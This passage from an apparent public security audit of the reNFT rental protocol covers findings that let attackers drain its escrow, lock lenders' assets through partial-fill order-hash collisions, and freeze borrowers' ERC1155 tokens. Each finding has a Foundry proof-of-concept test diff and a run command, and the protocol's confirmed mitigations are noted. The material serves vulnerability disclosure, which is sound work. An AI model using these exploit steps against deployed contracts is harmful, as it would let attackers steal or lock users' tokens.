        // Deal some tokens to the Escrow to be stolen
        // An attacker would first check the tokens balances of the Escrow contract and craft rents matching them
        deal(address(erc20s[0]), address(ESCRW), 100);
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));

        // stop the rental order
        vm.prank(carol.addr);
        stop.stopRent(payRentalOrder);

        // Carol gets back her NFT, while stealing the ERC20 tokens from the Escrow
        assertEq(erc20s[0].balanceOf(carol.addr), uint256(10100));
        assertEq(erc721s[0].ownerOf(0), address(carol.addr));

        // The Escrow contract was drained
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0));
    }
}

I would suggest to check that the corresponding offers / considerations are actually included in the totalExecutions and completely fulfilled with their corresponding recipients.

Adding some notes for the protocol to understand the attack surface:

There are other scenarios possible not exposed on the POC. For example, fulfilling just the NFT as expected to the safe, and only performing the attack on the ERC20, leaving a totalExecutions length of 1 (the NFT). This can be done with ERC1155 as well.

Another possibility would be to fulfill the orders with multiple other ones, which could generate extra phantom executions.

Also note, that it is possible to evoid fulfilling PAYEE orders via the zone (as noted on another issue I sent).

All that said regarding the current scope, it would also be recommended to give a second look to the forked SeaPort implementation implementing totalExecutions to check if there could be another related attack vector there.

Alec1017 (reNFT) confirmed

reNFT mitigated:

The PR here - Introduces an intermediary transfer on rental creation to ensure assets are not sent to the safe until they have been registered as rented by the protocol.

Status: Mitigation confirmed. Full details in reports from juancito, EV_om and sin1st3r__.


[H-07] Attacker can lock lender NFTs and ERC20 in the safe if the offer is set to partial

Submitted by said, also found by hash and fnanni

If the lender creates an offer set to partial, the attacker can lock parts of the lender’s assets inside the attacker’s safe.

Proof of Concept

When reNFT zone validates the offer and create the rental, it will calculate order hash using _deriveRentalOrderHash, and add the rentals by calling STORE.addRentals to storage using the calculated hash.

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L592-L595

    function _rentFromZone(
        RentPayload memory payload,
        SeaportPayload memory seaportPayload
    ) internal {
        // Check: make sure order metadata is valid with the given seaport order zone hash.
        _isValidOrderMetadata(payload.metadata, seaportPayload.zoneHash);

        // Check: verify the fulfiller of the order is an owner of the recipient safe.
        _isValidSafeOwner(seaportPayload.fulfiller, payload.fulfillment.recipient);

        // Check: verify each execution was sent to the expected destination.
        _executionInvariantChecks(
            seaportPayload.totalExecutions,
            payload.fulfillment.recipient
        );

        // Check: validate and process seaport offer and consideration items based
        // on the order type.
        Item[] memory items = _convertToItems(
            seaportPayload.offer,
            seaportPayload.consideration,
            payload.metadata.orderType
        );

        // PAYEE orders are considered mirror-images of a PAY order. So, PAYEE orders
        // do not need to be processed in the same way that other order types do.
        if (
            payload.metadata.orderType.isBaseOrder() ||
            payload.metadata.orderType.isPayOrder()
        ) {
            // Create an accumulator which will hold all of the rental asset updates, consisting of IDs and
            // the rented amount. From this point on, new memory cannot be safely allocated until the
            // accumulator no longer needs to include elements.
            bytes memory rentalAssetUpdates = new bytes(0);

            // Check if each item is a rental. If so, then generate the rental asset update.
            // Memory will become safe again after this block.
            for (uint256 i; i < items.length; ++i) {
                if (items[i].isRental()) {
                    // Insert the rental asset update into the dynamic array.
                    _insert(
                        rentalAssetUpdates,
                        items[i].toRentalId(payload.fulfillment.recipient),
                        items[i].amount
                    );
                }
            }

            // Generate the rental order.
            RentalOrder memory order = RentalOrder({
                seaportOrderHash: seaportPayload.orderHash,
                items: items,
                hooks: payload.metadata.hooks,
                orderType: payload.metadata.orderType,
                lender: seaportPayload.offerer,
                renter: payload.intendedFulfiller,
                rentalWallet: payload.fulfillment.recipient,
                startTimestamp: block.timestamp,
                endTimestamp: block.timestamp + payload.metadata.rentDuration
            });

            // Compute the order hash.
>>>         bytes32 orderHash = _deriveRentalOrderHash(order);

            // Interaction: Update storage only if the order is a Base Order or Pay order.
>>>         STORE.addRentals(orderHash, _convertToStatic(rentalAssetUpdates));

            // Interaction: Increase the deposit value on the payment escrow so
            // it knows how many tokens were sent to it.
            for (uint256 i = 0; i < items.length; ++i) {
                if (items[i].isERC20()) {
                    ESCRW.increaseDeposit(items[i].token, items[i].amount);
                }
            }

            // Interaction: Process the hooks associated with this rental.
            if (payload.metadata.hooks.length > 0) {
                _addHooks(
                    payload.metadata.hooks,
                    seaportPayload.offer,
                    payload.fulfillment.recipient
                );
            }

            // Emit rental order started.
            _emitRentalOrderStarted(order, orderHash, payload.metadata.emittedExtraData);
        }
    }

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L162-L195

    function _deriveRentalOrderHash(
        RentalOrder memory order
    ) internal view returns (bytes32) {
        // Create arrays for items and hooks.
        bytes32[] memory itemHashes = new bytes32[](order.items.length);
        bytes32[] memory hookHashes = new bytes32[](order.hooks.length);

        // Iterate over each item.
        for (uint256 i = 0; i < order.items.length; ++i) {
            // Hash the item.
            itemHashes[i] = _deriveItemHash(order.items[i]);
        }

        // Iterate over each hook.
        for (uint256 i = 0; i < order.hooks.length; ++i) {
            // Hash the hook.
            hookHashes[i] = _deriveHookHash(order.hooks[i]);
        }

        return
            keccak256(
                abi.encode(
                    _RENTAL_ORDER_TYPEHASH,
                    order.seaportOrderHash,
                    keccak256(abi.encodePacked(itemHashes)),
                    keccak256(abi.encodePacked(hookHashes)),
                    order.orderType,
                    order.lender,
                    order.renter,
                    order.startTimestamp,
                    order.endTimestamp
                )
            );
    }

The problem is that if a lender’s offer is created to support partial fills, the attacker can create multiple similar orders referring to the same seaportPayload.orderHash. Because the similar orders result in the same hash, the amount of assets that will be returned to the attacker for that hash will be only equal to the items[i].amount value of the order, while the remaining assets will be locked. Because the second time lender call stopRent it will revert caused by the rental status already removed.

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/Storage.sol#L216-L235

    function removeRentals(
        bytes32 orderHash,
        RentalAssetUpdate[] calldata rentalAssetUpdates
    ) external onlyByProxy permissioned {
        // The order must exist to be deleted.
        if (!orders[orderHash]) {
>>>         revert Errors.StorageModule_OrderDoesNotExist(orderHash);
        } else {
            // Delete the order from storage.
            delete orders[orderHash];
        }

        // Process each rental asset.
        for (uint256 i = 0; i < rentalAssetUpdates.length; ++i) {
            RentalAssetUpdate memory asset = rentalAssetUpdates[i];

            // Reduce the amount of tokens for the particular rental ID.
            rentedAssets[asset.rentalId] -= asset.amount;
        }
    }

Example Scenario :

Alice create PAY Offer that support partial fills consist of 2 ERC1155 and 100 ERC20 token A for the provided duration.

Bob fills the offer, by creating two similar partial fills, 1 ERC1155 and 50 ERC20.

Because the two offer result in the same order hash, when alice want to stop the rent, alice will only get 1 ERC1155 and 50 ERC20.

Coded PoC :

Modify the test files to the following :

diff --git a/test/fixtures/engine/OrderCreator.sol b/test/fixtures/engine/OrderCreator.sol
index 6cf6050..a4791d4 100644
--- a/test/fixtures/engine/OrderCreator.sol
+++ b/test/fixtures/engine/OrderCreator.sol
@@ -64,9 +64,10 @@ contract OrderCreator is BaseProtocol {
 
         // Define a standard OrderComponents struct which is ready for
         // use with the Create Policy and the protocol conduit contract
+        // PARTIAL_RESTRICTED from FULL_RESTRICTED
         OrderComponentsLib
             .empty()
-            .withOrderType(SeaportOrderType.FULL_RESTRICTED)
+            .withOrderType(SeaportOrderType.PARTIAL_RESTRICTED)
             .withZone(address(create))
             .withStartTime(block.timestamp)
             .withEndTime(block.timestamp + 100)
diff --git a/test/fixtures/engine/OrderFulfiller.sol b/test/fixtures/engine/OrderFulfiller.sol
index d61448a..5f12d23 100644
--- a/test/fixtures/engine/OrderFulfiller.sol
+++ b/test/fixtures/engine/OrderFulfiller.sol
@@ -113,6 +113,54 @@ contract OrderFulfiller is OrderCreator {
         );
     }
 
+    function createOrderFulfillmentPartial(
+        ProtocolAccount memory _fulfiller,
+        Order memory order,
+        bytes32 orderHash,
+        OrderMetadata memory metadata
+    ) internal {
+        // set the fulfiller account
+        fulfiller = _fulfiller;
+
+        // set the recipient of any offer items after an order is fulfilled. If the fulfillment is via
+        // `matchAdvancedOrders`, then any unspent offer items will go to this address as well
+        seaportRecipient = address(_fulfiller.safe);
+
+        // get a pointer to a new order to fulfill
+        OrderToFulfill storage orderToFulfill = ordersToFulfill.push();
+
+        // create an order fulfillment
+        OrderFulfillment memory fulfillment = OrderFulfillment(address(_fulfiller.safe));
+
+        // add the order hash and fulfiller
+        orderToFulfill.orderHash = orderHash;
+
+        // create rental zone payload data
+        _createRentalPayload(
+            orderToFulfill.payload,
+            RentPayload(fulfillment, metadata, block.timestamp + 100, _fulfiller.addr)
+        );
+
+        // generate the signature for the payload
+        bytes memory signature = _signProtocolOrder(
+            rentalSigner.privateKey,
+            create.getRentPayloadHash(orderToFulfill.payload)
+        );
+
+        // create an advanced order from the order. Pass the rental
+        // payload as extra data
+        _createAdvancedOrder(
+            orderToFulfill.advancedOrder,
+            AdvancedOrder(
+                order.parameters,
+                1,
+                2,
+                order.signature,
+                abi.encode(orderToFulfill.payload, signature)
+            )
+        );
+    }
+
     function _createOrderFulfiller(
         ProtocolAccount storage storageFulfiller,
         ProtocolAccount memory _fulfiller
@@ -323,6 +371,96 @@ contract OrderFulfiller is OrderCreator {
         }
     }
 
+    function _createRentalOrderPartial(
+        OrderToFulfill memory orderToFulfill
+    ) internal view returns (RentalOrder memory rentalOrder) {
+        // get the order parameters
+        OrderParameters memory parameters = orderToFulfill.advancedOrder.parameters;
+
+        // get the payload
+        RentPayload memory payload = orderToFulfill.payload;
+
+        // get the metadata
+        OrderMetadata memory metadata = payload.metadata;
+
+        // construct a rental order
+        rentalOrder = RentalOrder({
+            seaportOrderHash: orderToFulfill.orderHash,
+            items: new Item[](parameters.offer.length + parameters.consideration.length),
+            hooks: metadata.hooks,
+            orderType: metadata.orderType,
+            lender: parameters.offerer,
+            renter: payload.intendedFulfiller,
+            rentalWallet: payload.fulfillment.recipient,
+            startTimestamp: block.timestamp,
+            endTimestamp: block.timestamp + metadata.rentDuration
+        });
+
+        // for each new offer item being rented, create a new item struct to add to the rental order
+        for (uint256 i = 0; i < parameters.offer.length; i++) {
+            // PAYEE orders cannot have offer items
+            require(
+                metadata.orderType != OrderType.PAYEE,
+                "TEST: cannot have offer items in PAYEE order"
+            );
+
+            // get the offer item
+            OfferItem memory offerItem = parameters.offer[i];
+
+            // determine the item type
+            ItemType itemType = _seaportItemTypeToRentalItemType(offerItem.itemType);
+
+            // determine which entity the payment will settle to
+            SettleTo settleTo = offerItem.itemType == SeaportItemType.ERC20
+                ? SettleTo.RENTER
+                : SettleTo.LENDER;
+
+            // create a new rental item
+            rentalOrder.items[i] = Item({
+                itemType: itemType,
+                settleTo: settleTo,
+                token: offerItem.token,
+                amount: offerItem.startAmount / 2,
+                identifier: offerItem.identifierOrCriteria
+            });
+        }
+
+        // for each consideration item in return, create a new item struct to add to the rental order
+        for (uint256 i = 0; i < parameters.consideration.length; i++) {
+            // PAY orders cannot have consideration items
+            require(
+                metadata.orderType != OrderType.PAY,
+                "TEST: cannot have consideration items in PAY order"
+            );
+
+            // get the offer item
+            ConsiderationItem memory considerationItem = parameters.consideration[i];
+
+            // determine the item type
+            ItemType itemType = _seaportItemTypeToRentalItemType(
+                considerationItem.itemType
+            );
+
+            // determine which entity the payment will settle to
+            SettleTo settleTo = metadata.orderType == OrderType.PAYEE &&
+                considerationItem.itemType == SeaportItemType.ERC20
+                ? SettleTo.RENTER
+                : SettleTo.LENDER;
+
+            // calculate item index offset
+            uint256 itemIndex = i + parameters.offer.length;
+
+            // create a new payment item
+            rentalOrder.items[itemIndex] = Item({
+                itemType: itemType,
+                settleTo: settleTo,
+                token: considerationItem.token,
+                amount: considerationItem.startAmount,
+                identifier: considerationItem.identifierOrCriteria
+            });
+        }
+    }
+
     function _signProtocolOrder(
         uint256 signerPrivateKey,
         bytes32 payloadHash
@@ -526,20 +664,73 @@ contract OrderFulfiller is OrderCreator {
         }
         // otherwise, expect the relevant event to be emitted.
         else {
-            vm.expectEmit({emitter: address(create)});
-            emit Events.RentalOrderStarted(
-                create.getRentalOrderHash(payRentalOrder),
-                payOrder.payload.metadata.emittedExtraData,
-                payRentalOrder.seaportOrderHash,
-                payRentalOrder.items,
-                payRentalOrder.hooks,
-                payRentalOrder.orderType,
-                payRentalOrder.lender,
-                payRentalOrder.renter,
-                payRentalOrder.rentalWallet,
-                payRentalOrder.startTimestamp,
-                payRentalOrder.endTimestamp
-            );
+            // vm.expectEmit({emitter: address(create)});
+            // emit Events.RentalOrderStarted(
+            //     create.getRentalOrderHash(payRentalOrder),
+            //     payOrder.payload.metadata.emittedExtraData,
+            //     payRentalOrder.seaportOrderHash,
+            //     payRentalOrder.items,
+            //     payRentalOrder.hooks,
+            //     payRentalOrder.orderType,
+            //     payRentalOrder.lender,
+            //     payRentalOrder.renter,
+            //     payRentalOrder.rentalWallet,
+            //     payRentalOrder.startTimestamp,
+            //     payRentalOrder.endTimestamp
+            // );
+        }
+
+        // the offerer of the PAYEE order fulfills the orders.
+        vm.prank(fulfiller.addr);
+
+        // fulfill the orders
+        seaport.matchAdvancedOrders(
+            _deconstructOrdersToFulfill(),
+            new CriteriaResolver[](0),
+            seaportMatchOrderFulfillments,
+            seaportRecipient
+        );
+
+        // clear structs
+        resetFulfiller();
+        resetOrdersToFulfill();
+        resetSeaportMatchOrderFulfillments();
+    }
+
+    function _finalizePayOrderFulfillmentPartial(
+        bytes memory expectedError
+    )
+        private
+        returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder)
+    {
+        // get the orders to fulfill
+        OrderToFulfill memory payOrder = ordersToFulfill[0];
+        OrderToFulfill memory payeeOrder = ordersToFulfill[1];
+
+        // create rental orders
+        payRentalOrder = _createRentalOrderPartial(payOrder);
+        payeeRentalOrder = _createRentalOrder(payeeOrder);
+
+        // expect an error if error data was provided
+        if (expectedError.length != 0) {
+            vm.expectRevert(expectedError);
+        }
+        // otherwise, expect the relevant event to be emitted.
+        else {
+            // vm.expectEmit({emitter: address(create)});
+            // emit Events.RentalOrderStarted(
+            //     create.getRentalOrderHash(payRentalOrder),
+            //     payOrder.payload.metadata.emittedExtraData,
+            //     payRentalOrder.seaportOrderHash,
+            //     payRentalOrder.items,
+            //     payRentalOrder.hooks,
+            //     payRentalOrder.orderType,
+            //     payRentalOrder.lender,
+            //     payRentalOrder.renter,
+            //     payRentalOrder.rentalWallet,
+            //     payRentalOrder.startTimestamp,
+            //     payRentalOrder.endTimestamp
+            // );
         }
 
         // the offerer of the PAYEE order fulfills the orders.
@@ -566,6 +757,13 @@ contract OrderFulfiller is OrderCreator {
         (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(bytes(""));
     }
 
+    function finalizePayOrderFulfillmentPartial()
+    internal
+    returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder)
+{
+    (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillmentPartial(bytes(""));
+}
+
     function finalizePayOrderFulfillmentWithError(
         bytes memory expectedError
     )
diff --git a/test/integration/Rent.t.sol b/test/integration/Rent.t.sol
index 6c4c8d3..f20b299 100644
--- a/test/integration/Rent.t.sol
+++ b/test/integration/Rent.t.sol
@@ -13,6 +13,7 @@ import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStruct
 
 import {BaseTest} from "@test/BaseTest.sol";
 import {ProtocolAccount} from "@test/utils/Types.sol";
+import "@forge-std/console.sol";
 
 contract TestRent is BaseTest {
     function test_Success_Rent_BaseOrder_ERC721() public {
@@ -276,6 +277,135 @@ contract TestRent is BaseTest {
         assertEq(erc721s[0].ownerOf(0), address(bob.safe));
     }
 
+    function test_Success_Rent_PayOrder_Partial() public {
+        // create a PAY order
+        createOrder({
+            offerer: alice,
+            orderType: OrderType.PAY,
+            erc721Offers: 0,
+            erc1155Offers: 2,
+            erc20Offers: 1,
+            erc721Considerations: 0,
+            erc1155Considerations: 0,
+            erc20Considerations: 0
+        });
+
+        // finalize the pay order creation
+        (
+            Order memory payOrder,
+            bytes32 payOrderHash,
+            OrderMetadata memory payOrderMetadata
+        ) = finalizeOrder();
+
+        // create a PAYEE order. The fulfiller will be the offerer.
+        createOrder({
+            offerer: bob,
+            orderType: OrderType.PAYEE,
+            erc721Offers: 0,
+            erc1155Offers: 0,
+            erc20Offers: 0,
+            erc721Considerations: 0,
+            erc1155Considerations: 2,
+            erc20Considerations: 1
+        });
+
+        // finalize the pay order creation
+        (
+            Order memory payeeOrder,
+            bytes32 payeeOrderHash,
+            OrderMetadata memory payeeOrderMetadata
+        ) = finalizeOrder();
+
+        // create an order fulfillment for the pay order
+        createOrderFulfillmentPartial({
+            _fulfiller: bob,
+            order: payOrder,
+            orderHash: payOrderHash,
+            metadata: payOrderMetadata
+        });
+
+        // create an order fulfillment for the payee order
+        createOrderFulfillmentPartial({
+            _fulfiller: bob,
+            order: payeeOrder,
+            orderHash: payeeOrderHash,
+            metadata: payeeOrderMetadata
+        });
+
+        // add an amendment to include the seaport fulfillment structs
+        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});
+
+        // finalize the order pay/payee order fulfillment
+        (
+            RentalOrder memory payRentalOrder,
+            RentalOrder memory payeeRentalOrder
+        ) = finalizePayOrderFulfillment();
+
+
+        // get the rental order hashes
+        bytes32 payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);
+        bytes32 payeeRentalOrderHash = create.getRentalOrderHash(payeeRentalOrder);
+        console.log("first pay rental order : ");
+        console.logBytes32(payRentalOrderHash);
+        console.log("first payee rental order : ");
+        console.logBytes32(payeeRentalOrderHash);
+        // second time - my addition
+        // create an order fulfillment for the pay order
+        createOrderFulfillmentPartial({
+            _fulfiller: bob,
+            order: payOrder,
+            orderHash: payOrderHash,
+            metadata: payOrderMetadata
+        });
+
+        // create an order fulfillment for the payee order
+        createOrderFulfillmentPartial({
+            _fulfiller: bob,
+            order: payeeOrder,
+            orderHash: payeeOrderHash,
+            metadata: payeeOrderMetadata
+        });
+
+        // add an amendment to include the seaport fulfillment structs
+        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});
+
+        // finalize the order pay/payee order fulfillment
+        (
+            payRentalOrder,
+            payeeRentalOrder
+        ) = finalizePayOrderFulfillment();
+
+        // get the rental order hashes
+        payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);
+        payeeRentalOrderHash = create.getRentalOrderHash(payeeRentalOrder);
+        console.log("second pay rental order : ");
+        console.logBytes32(payRentalOrderHash);
+        console.log("second payee rental order : ");
+        console.logBytes32(payeeRentalOrderHash);
+        // second time - end
+
+        // assert that the rental order was stored
+        assertEq(STORE.orders(payRentalOrderHash), true);
+
+        // assert that the payee rental order was not put in storage
+        assertEq(STORE.orders(payeeRentalOrderHash), false);
+
+        // assert that the token is in storage
+        // assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true);
+
+        // assert that the offerer made a payment
+        assertEq(erc20s[0].balanceOf(alice.addr), uint256(9900));
+
+        // assert that a payment was made to the escrow contract
+        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));
+
+        // assert that a payment was synced properly in the escrow contract
+        assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(100));
+
+        // assert that the ERC721 is in the rental wallet of the fulfiller
+        // assertEq(erc721s[0].ownerOf(0), address(bob.safe));
+    }
+
     // This test involves a PAY order where one of the items is left out of the PAYEE order.
     // Instead, the fulfiller attempts to use the `recipient` input parameter on `matchAdvancedOrders`
     // to try to send an asset to an unauthorized address
diff --git a/test/integration/StopRent.t.sol b/test/integration/StopRent.t.sol
index 3d19d3c..0cf67c2 100644
--- a/test/integration/StopRent.t.sol
+++ b/test/integration/StopRent.t.sol
@@ -7,6 +7,8 @@ import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStruct
 
 import {BaseTest} from "@test/BaseTest.sol";
 
+import "@forge-std/console.sol";
+
 contract TestStopRent is BaseTest {
     function test_StopRent_BaseOrder() public {
         // create a BASE order
@@ -245,6 +247,134 @@ contract TestStopRent is BaseTest {
         assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0));
     }
 
+    function test_stopRent_payOrder_inFull_stoppedByRenter_Partial() public {
+        // create a PAY order
+        createOrder({
+            offerer: alice,
+            orderType: OrderType.PAY,
+            erc721Offers: 0,
+            erc1155Offers: 2,
+            erc20Offers: 1,
+            erc721Considerations: 0,
+            erc1155Considerations: 0,
+            erc20Considerations: 0
+        });
+
+        // finalize the pay order creation
+        (
+            Order memory payOrder,
+            bytes32 payOrderHash,
+            OrderMetadata memory payOrderMetadata
+        ) = finalizeOrder();
+
+        // create a PAYEE order. The fulfiller will be the offerer.
+        createOrder({
+            offerer: bob,
+            orderType: OrderType.PAYEE,
+            erc721Offers: 0,
+            erc1155Offers: 0,
+            erc20Offers: 0,
+            erc721Considerations: 0,
+            erc1155Considerations: 2,
+            erc20Considerations: 1
+        });
+
+        // finalize the pay order creation
+        (
+            Order memory payeeOrder,
+            bytes32 payeeOrderHash,
+            OrderMetadata memory payeeOrderMetadata
+        ) = finalizeOrder();
+
+        // create an order fulfillment for the pay order
+        createOrderFulfillmentPartial({
+            _fulfiller: bob,
+            order: payOrder,
+            orderHash: payOrderHash,
+            metadata: payOrderMetadata
+        });
+
+        // create an order fulfillment for the payee order
+        createOrderFulfillmentPartial({
+            _fulfiller: bob,
+            order: payeeOrder,
+            orderHash: payeeOrderHash,
+            metadata: payeeOrderMetadata
+        });
+
+        // add an amendment to include the seaport fulfillment structs
+        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});
+
+        // finalize the order pay/payee order fulfillment
+        (RentalOrder memory payRentalOrderFirst, ) = finalizePayOrderFulfillmentPartial();
+
+        // get the rental order hashes
+        bytes32 payRentalOrderHashFirst = create.getRentalOrderHash(payRentalOrderFirst);
+        console.log("first pay rental order : ");
+        console.logBytes32(payRentalOrderHashFirst);
+        console.log(STORE.orders(payRentalOrderHashFirst));
+        // second time - my addition
+        // create an order fulfillment for the pay order
+        createOrderFulfillmentPartial({
+            _fulfiller: bob,
+            order: payOrder,
+            orderHash: payOrderHash,
+            metadata: payOrderMetadata
+        });
+
+        // create an order fulfillment for the payee order
+        createOrderFulfillmentPartial({
+            _fulfiller: bob,
+            order: payeeOrder,
+            orderHash: payeeOrderHash,
+            metadata: payeeOrderMetadata
+        });
+
+        // add an amendment to include the seaport fulfillment structs
+        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});
+
+        // finalize the order pay/payee order fulfillment
+        (
+            RentalOrder memory payRentalOrderFirstSecond,
+        ) = finalizePayOrderFulfillmentPartial();
+
+        // get the rental order hashes
+        console.log("second pay rental order : ");
+        bytes32 payRentalOrderHashSecond = create.getRentalOrderHash(payRentalOrderFirstSecond);
+        console.logBytes32(payRentalOrderHashSecond);
+        console.log(STORE.orders(payRentalOrderHashSecond));
+        // second time - end
+
+        // speed up in time past the rental expiration
+        vm.warp(block.timestamp + 750);
+
+        // stop the rental order
+        vm.prank(bob.addr);
+        stop.stopRent(payRentalOrderFirst);
+        vm.expectRevert();
+        stop.stopRent(payRentalOrderFirstSecond);
+
+        // assert that the rental order doesnt exist in storage
+        assertEq(STORE.orders(payRentalOrderHashFirst), false);
+
+        // assert that the token is still mark as rented due to amount still exist in storage
+        assertEq(STORE.isRentedOut(address(bob.safe), address(erc1155s[0]), 0), true);
+        assertEq(STORE.isRentedOut(address(bob.safe), address(erc1155s[1]), 0), true);
+
+        // assert that the ERC1155 is back to alice only half of them
+        assertEq(erc1155s[0].balanceOf(address(alice.addr), 0), uint256(50));
+        assertEq(erc1155s[1].balanceOf(address(alice.addr), 0), uint256(50));
+
+        // assert that the offerer made a payment
+        assertEq(erc20s[0].balanceOf(alice.addr), uint256(9900));
+
+        // assert that the fulfiller received the payment
+        assertEq(erc20s[0].balanceOf(bob.addr), uint256(10050));
+
+        // assert that a payment was pulled from the escrow contract
+        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(50));
+    }
+
     function test_stopRent_payOrder_proRata_stoppedByLender() public {
         // create a PAY order
         createOrder({

Run the test :

forge test -vv --match-contract TestStopRent --match-test test_stopRent_payOrder_inFull_stoppedByRenter_Partial

From the test, it can be observed that half of the lender’s assets are locked, and the order cannot be stopped even after the rent duration has passed.

Introduce nonce when calculating orderHash, to ensure every order will always unique.

Alec1017 (reNFT) confirmed

reNFT mitigated:

The PR here - Prevents RentPayload replayability and ensures that orders must be unique by disallowing partial orders from seaport.

Status: Mitigation confirmed. Full details in reports from juancito, EV_om and sin1st3r__.


Medium Risk Findings (16)

[M-01] A malicious lender can freeze borrower’s ERC1155 tokens indefinitely because the guard can’t differentiate between rented and non-rented ERC1155 tokens in the borrower’s safe.

Submitted by sin1st3r__, also found by jasonxiale, evmboi32, JCN, 0xA5DF, KupiaSec, Jorgect, said, J4X, and kaden

Pre-requisite knowledge & an overview of the features in question


  1. Gnosis safe guards: A gnosis guard is a contract that acts as a transaction guard which allows the owner of the safe to limit the contracts and functions that may be called by the multisig owners of the safe. ReNFT has created it’s own gnosis guard contract, which is Guard.sol.

    Example utility: When you ask reNFT to create a rental safe for you by calling deployRentalSafe() in Factory.sol, reNFT creates a rental safe for you and automatically installs it’s own guard contract on it. Everytime you send a call from your gnosis safe, this call has to first pass through that guard. If you’re for example, trying to move a NFT token you rented using transferFrom(), it’ll prevent you from doing so. When it intercepts the transaction you’re trying to send, it checks for a list of function signatures that can be malicious, for example it checks if you’re trying to enable/disable a module it has not authorized. It checks if you’re trying to change the guard contract address itself, It also checks if you’re trying to transfer or approve a rented NFT or ERC1155 token using the most common functions like approve(), safeTransferFrom(), transferFrom(), setApprovalForAll(). This guard acts as the single and most important defense line against rented ERC721/1155 token theft.


The Vulnerability & Exploitation Steps


The vulnerability exists in the Guard.sol contract, L-242

    } else if (selector == e1155_safe_transfer_from_selector) {
        // Load the token ID from calldata.
        uint256 tokenId = uint256(
            _loadValueFromCalldata(data, e1155_safe_transfer_from_token_id_offset)
        );

        // Check if the selector is allowed.
        _revertSelectorOnActiveRental(selector, from, to, tokenId);

The guard does not differentiate between ERC1155 tokens of address of same ID that are actively being rented and those that aren’t rented. So for example, you had 2,000 “GameToken” ERC1155 tokens with an id of 5, that are not rented. And you rented 10 “GameToken” ERC1155 tokens of the same id “5”, you will not be able to move or transfer the non-rented 2,000 “GameToken” ERC1155 tokens which you had prior to rented the other 10 tokens, until the 10 “GameToken” rental expires and gets stopped/finalized.

The problem is that a malicious lender can exploit this to freeze the borrower’s pre-existing funds of the same kind indefinitely by preventing his rental (the rental in which the lender lended ERC1155 tokens to the borrower), from being stopped even if the expiry date of the rental has passed. He can do so by utilizing the fact that the Reclaimer contract utilizes safeTransferFrom to give the lender his tokens back after the rental gets stopped. The lender can then set up a onERC1155Receive() hook that reverts until he decides otherwise. This will prevent the rental from being stopped and therefore, it’ll prevent the borrower from transferring his pre-rental tokens, making them indefinitely stuck.

Proof of concept

  1. The borrower, Jack, has 1,000 ERC1155 tokens of id 5 that are not rented.
  2. Jack decides to lend 10 ERC1155 tokens of same id, 5, from Alice (malicious lender). Rental period will last 10 days.
  3. Alice (malicious smart contract lender) sets a onERC1155Receive() hook which reverts if certain time has not passed
  4. Whenever Jack tries to stop the rental after 10 days have passed by calling stopRent(), it will revert.
  5. Jack will not be able to transfer his non-rented 1,000 ERC1155 tokens out of his rental safe until the malicious lender decides otherwise.

Proof of concept code


To run the PoC, you’ll need to do the following:

  1. You’ll need to add the following two files to the test/ folder:

    1. SetupExploit.sol -> Sets up everything from seaport, gnosis, reNFT contracts
    2. Exploit.sol -> The actual exploit PoC which relies on SetupExploit.sol as a base.
  2. You’ll need to run this command forge test --match-contract Exploit --match-test test_ERC1155_Freeze_Exploit -vv

Note: All of my 7 PoCs throughout my reports include the SetupExploit.sol. Please do not rely on the previous SetupExploit.sol file if you already had one from another PoC run in the tests/ folder. In some PoCs, there are slight modifications done in that file to properly set up the test infrastructure needed for the exploit

The files:

SetupExploit.sol
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {
    ConsiderationItem,
    OfferItem,
    OrderParameters,
    OrderComponents,
    Order,
    AdvancedOrder,
    ItemType,
    ItemType as SeaportItemType,
    CriteriaResolver,
    OrderType as SeaportOrderType,
    Fulfillment,
    FulfillmentComponent
} from "@seaport-types/lib/ConsiderationStructs.sol";
import {
    AdvancedOrderLib,
    ConsiderationItemLib,
    FulfillmentComponentLib,
    FulfillmentLib,
    OfferItemLib,
    OrderComponentsLib,
    OrderLib,
    OrderParametersLib,
    SeaportArrays,
    ZoneParametersLib
} from "@seaport-sol/SeaportSol.sol";

import {
    OrderMetadata,
    OrderType,
    OrderFulfillment,
    RentPayload,
    RentalOrder,
    Item,
    SettleTo,
    ItemType as RentalItemType
} from "@src/libraries/RentalStructs.sol";

import {ECDSA} from "@openzeppelin-contracts/utils/cryptography/ECDSA.sol";
import {OrderMetadata, OrderType, Hook} from "@src/libraries/RentalStructs.sol";
import {Vm} from "@forge-std/Vm.sol";
import {Test} from "@forge-std/Test.sol";
import {Assertions} from "@test/utils/Assertions.sol";
import {Constants} from "@test/utils/Constants.sol";
import {LibString} from "@solady/utils/LibString.sol";
import {SafeL2} from "@safe-contracts/SafeL2.sol";
import {Safe} from "@safe-contracts/Safe.sol";
// import {BaseExternal} from "@test/fixtures/external/BaseExternal.sol";
import {SafeProxyFactory} from "@safe-contracts/proxies/SafeProxyFactory.sol";
import {Create2Deployer} from "@src/Create2Deployer.sol";
import {Kernel, Actions} from "@src/Kernel.sol";
import {Storage} from "@src/modules/Storage.sol";
